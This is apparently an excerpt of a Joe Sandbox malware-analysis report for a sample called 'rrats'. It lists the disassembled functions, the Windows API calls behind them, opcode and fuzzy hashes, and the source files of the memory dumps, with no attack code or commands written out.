Instruction Fuzzy Hash: 9A015E7A200359AAD7109FA4DC45FAF77B8EF08710F015026FB1597250D3709915CBA6

Function 00CA6C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00CA6DDF,00000000,00000400), ref: 00CA6C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00CA6C95

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 540ec87b02a9d069a4bc02da7f90ec5a75ed05c5d1dda172e492364c43090241
Instruction ID: 72bf21c68f3580f77205353af29f44920c3faaa5dcfbf65244c4ed91bbc8f493
Opcode Fuzzy Hash: 540ec87b02a9d069a4bc02da7f90ec5a75ed05c5d1dda172e492364c43090241
Instruction Fuzzy Hash: 05D0C731345301BFFA110B614D06F1E7B59BF55B95F18C4057755D40E0D6749514A615

Function 00CD19F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00CD19EF,?,?,00000008,?,?,00CD168F,00000000), ref: 00CD1C21

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 4b00c7b19df80a82e286b6963e8d36df2a0d3a871de5f1556bb97e788a348217
Instruction ID: 47d8e45faf2e8bb860e091777073412090d8adc0421020aafab85efc4d74d3d8
Opcode Fuzzy Hash: 4b00c7b19df80a82e286b6963e8d36df2a0d3a871de5f1556bb97e788a348217
Instruction Fuzzy Hash: D2B14E71220609AFD715CF28C486B657BE0FF45364F29865AE9AACF3A1C335DA91CB40

Function 00CBF654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00CBF66A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: dd4b9f585de4fb4d01dc5f050ff473508cc9036a084e156099ebf8b6ebf9b307
Instruction ID: ace4db2849967ba212ea7b737f1a511afa2d27beab67c363bef125fb521ddc1e
Opcode Fuzzy Hash: dd4b9f585de4fb4d01dc5f050ff473508cc9036a084e156099ebf8b6ebf9b307
Instruction Fuzzy Hash: 23519DB19016198FEB25CF94EC817AEBBF0FB48304F24846AD415EB391D7759A01CB60

Function 00CAB146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00CAB16B

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b6d4d38524100840bc8dc3147b0551a9c7a64b8e38297954088b8773f57f5ed5
Instruction ID: 4fe3a8d608af4eacb1c34c9333941b7c7576d1f6e258ccdbd006a63a2169262f
Opcode Fuzzy Hash: b6d4d38524100840bc8dc3147b0551a9c7a64b8e38297954088b8773f57f5ed5
Instruction Fuzzy Hash: 9DF01DB5D002488FDB18DB18EC917DD77F1E749319F14429ADA2597390C370AE90CE61

Function 00CA40FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 00CA41BC

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 863b3caa624afaaca67ebd4aefed3b64d5ec18a988eab2630c6572fb9e7c70ec
Instruction ID: d4f2628b6cac4198afda2990819e6630062a0cd8c4436917ac5e8abdfdcb6313
Opcode Fuzzy Hash: 863b3caa624afaaca67ebd4aefed3b64d5ec18a988eab2630c6572fb9e7c70ec
Instruction Fuzzy Hash: 26C14672A183818FC354CF29D88065AFBE1BFC8308F19892EE998D7351D734E945CB96

Function 00CBF9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,00CBF3A5), ref: 00CBF9DA

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57b785fb7f9f5ea7f8034d53b6de70f77d99a3b6b90ac7b8ba775b8fdec1cf05
Instruction ID: 5153fed595bfdc0d7ff2c6595a259234487630d14be924f87b5fa943c3f72048
Opcode Fuzzy Hash: 57b785fb7f9f5ea7f8034d53b6de70f77d99a3b6b90ac7b8ba775b8fdec1cf05
Instruction Fuzzy Hash:

Function 00CCC030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00CCC030

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 7026d86e24307fc3f3231268b99caaaf5925f6186d97bf77070ccfc7ebc7d8bf
Instruction ID: 2adc24e9dfd606526e0d03dc48b22c0361187f80cd211f7cd4ca0c6396f654c7
Opcode Fuzzy Hash: 7026d86e24307fc3f3231268b99caaaf5925f6186d97bf77070ccfc7ebc7d8bf
Instruction Fuzzy Hash: 20A02230203302CFCB00CF30AF0C30C3BE8AA003E0308002BA00CC0230EF3080A0AB22

Function 00CB62CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6eb7e628c131b77d64230efdf3487e18faf11e64f64428999ea75b77c32f4a9
Instruction ID: e555325c9aaf8688fc40acd03ba8c30853f091d3092d1872c0cba28d93197e14
Opcode Fuzzy Hash: b6eb7e628c131b77d64230efdf3487e18faf11e64f64428999ea75b77c32f4a9
Instruction Fuzzy Hash: C662D7716047859FCB25CF28C4906F9BBE1BF95304F08896DE8EA8B346D738EA45DB11

Function 00CB77EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea09b33de8b9cfbb8209bfa1a333bac43e177ce32cd9c289141a45ee596f7016
Instruction ID: 05a2ad6bcbb5c747250dd358d83ac4277fa0fa259c7bdcfde1c4a2fb89b030ba
Opcode Fuzzy Hash: ea09b33de8b9cfbb8209bfa1a333bac43e177ce32cd9c289141a45ee596f7016
Instruction Fuzzy Hash: 7162B5716083858FCB15CF28C8905B9BBE1BFD5304F188A6DEDAA8B346D730E945CB55

Function 00CAF461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1878276514fa88b4dc78be59b3a11d6ef0ca78ea051cd932ee5a1b4ffb735fc3
Instruction ID: e31e4ec304ec9064acc6a56d895dbc2dfc47706f075a1115257a519ba905f100
Opcode Fuzzy Hash: 1878276514fa88b4dc78be59b3a11d6ef0ca78ea051cd932ee5a1b4ffb735fc3
Instruction Fuzzy Hash: B9523A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 00CB7153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a22f14758ff886800d2f21801ec84327974cf8622922ce1c05d899e4e2cb7a2
Instruction ID: b8c62e839d71f82337375de5524540d1e148c048ae88b9579aba949aad727e7c
Opcode Fuzzy Hash: 4a22f14758ff886800d2f21801ec84327974cf8622922ce1c05d899e4e2cb7a2
Instruction Fuzzy Hash: 7612C1B16087069FC728CF28C490AB9B7E1FF94304F148A2EE996C7780E734E995DB45

Function 00CAC426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c9a0788a0853c4ad9995f1ce5c6070a64e594a890393df94407baf0bfc7a70c
Instruction ID: 03c1ce28fd8710d40f80db24d83b842f0e326c5451482e11fbd84063342ee197
Opcode Fuzzy Hash: 6c9a0788a0853c4ad9995f1ce5c6070a64e594a890393df94407baf0bfc7a70c
Instruction Fuzzy Hash: 52F18971A083028FC718CF29C5C4A2EBBE5FF9A318F154A2EF496D7255D630EA458B46

Function 00CAE9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 458b409b802cc795dc5a441d9cf110191d3e30ff2c19d9311f1b9018b1576c10
Instruction ID: e535c4c8564f3b7f32a56d0c6e312c5f4b85b0a80b1a5b918a213b052dc25b1a
Opcode Fuzzy Hash: 458b409b802cc795dc5a441d9cf110191d3e30ff2c19d9311f1b9018b1576c10
Instruction Fuzzy Hash: E9E147755183948FC304CF29D88096EBFF0AF9A314F46095EF9D49B352C235EA19DBA2

Function 00CB4088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3e033f5a90b6653f2820811019e1f3a5f035301b3a61585745d11b019002b2e
Instruction ID: cd23999b681ada56532648fb445f07e4e6da1ef8efca42042ef954935a77ed97
Opcode Fuzzy Hash: c3e033f5a90b6653f2820811019e1f3a5f035301b3a61585745d11b019002b2e
Instruction Fuzzy Hash: F29167B060834A9BDB2CEEA8D895BFE77D5EB61304F10092CF596872C3DB349645E352

Function 00CB43BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: abefc68aebdcfc362c05d49eae353beb2692af992bbbfd0f199748d051e66b67
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: 9B814AB17087465BDB3CDE68C8D1BFD37D4AB91308F00092DE9968B283DA74898AD756

Function 00CC51C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081f475b9aef60b3334e3aeada960cdc378e45b6a815b57280eca043e5493d33
Instruction ID: 5d76d0fe737ac2e722cfa6e7acec0c5ecf40d9c598e43879579272764611d705
Opcode Fuzzy Hash: 081f475b9aef60b3334e3aeada960cdc378e45b6a815b57280eca043e5493d33
Instruction Fuzzy Hash: A5619871A00F4957DB389A68DC95FBE23D8EB11350F18061EE893DF291D691FFC2A215

Function 00CC4F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: f3c214f002198114e4574b749f802be5fdaefcbfdb18085366e5774f5a753a5d
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: 13514961600F445BDF388668C56AFBF27C59B01300F58491DE893DB682C615FFC69396

Function 00CAEFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c46a0957200aeb69e41f60fd7c8a31d56220687d6ce1ebf195216b44dfb25f
Instruction ID: 979ae0176922a3a0fbf76a57c09d679de873720355528d155b855830786253d7
Opcode Fuzzy Hash: 43c46a0957200aeb69e41f60fd7c8a31d56220687d6ce1ebf195216b44dfb25f
Instruction Fuzzy Hash: 7F51D3315083D68ED702DF64C58046EBFE0AE9B318F4909AEE5D95B243C231DB4BDB62

Function 00CB00B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9de910e3b44b1c5a64980c0c03f89b4e0cecee9c5ab5de1f5de5bec3ba685c6
Instruction ID: 1ef9d006d2032baaf4b1da4aec83fcc722453a9d99c2ca89b1904c295287e681
Opcode Fuzzy Hash: e9de910e3b44b1c5a64980c0c03f89b4e0cecee9c5ab5de1f5de5bec3ba685c6
Instruction Fuzzy Hash: 3551EFB1A087119FC748CF19D48065AF7E1FF88314F058A2EE899E3340D734EA59CB9A

Function 00CB3E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: e43b8090604f03a959ddee17f74a740431649f29fdd031342c8fe1f8799347d7
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: D631F8B1A147878FCB18DF68C8511AEBBE0FB95304F10452DE495C7342C739EA0ACB91

Function 00CAE2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CAE30E

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

